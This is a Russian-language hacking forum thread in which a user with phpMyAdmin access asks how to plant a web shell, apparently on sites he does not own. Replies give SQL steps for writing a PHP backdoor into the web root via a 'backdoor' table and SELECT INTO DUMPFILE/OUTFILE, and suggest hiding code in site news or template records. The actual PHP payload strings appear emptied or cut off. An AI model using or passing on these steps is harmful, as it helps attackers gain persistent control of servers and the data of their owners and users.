phpmyadmin Version information: 3.3.9. Залить шелл.

[good.god]

Всем добрый вечер. Есть доступ в пхп май админ. Хотел бы залить шелл.

Почитал немного как можно это сделать, но ничего не вышло. Надеюсь что не из-за моей кривизны рук, а из-за того, что во всех советах фигурировали версии ниже 3 .

Посоветуйте что-нибудь парни.

[FlooP1k]

Если есть ДБ от сайтов, то попробуй на "дурачку" просто вставляешь в какой то новости или кусочке шаблона, что то типа :

[eclipse92]

Всем добрый вечер. Есть доступ в пхп май админ. Хотел бы залить шелл.
Почитал немного как можно это сделать, но ничего не вышло. Надеюсь что не из-за моей кривизны рук, а из-за того, что во всех советах фигурировали версии ниже 3
.
Посоветуйте что-нибудь парни.


1. Для эстетики и удобства создаем новую базу:


CREATE DATABASE 'backdoor'

2. Ищем установочный путь базы


SELECT @@datadir > C:\AppServ\MySQL\data\

3. Выполняем запрос на создание таблицы:


CREATE TABLE backdoor( Stack TEXT ) TYPE=MYISaM; INSERT INTO backdoor(Stack) VALUES( '

4. Отдаем команду на дамп содержимого таблицы в файл


SELECT * into dumpfile '/C:\AppServ\www\s.php' from backdoor;

[EXITUA🇺🇦]

eclipse92 нубяра

select '' into outfile '/dirs/shell.php'

eclipse92, а ты в курсе при каком условии это будет работать?

[EXITUA🇺🇦]

При условии, что PMA не фильтрует кавычки?!


юморист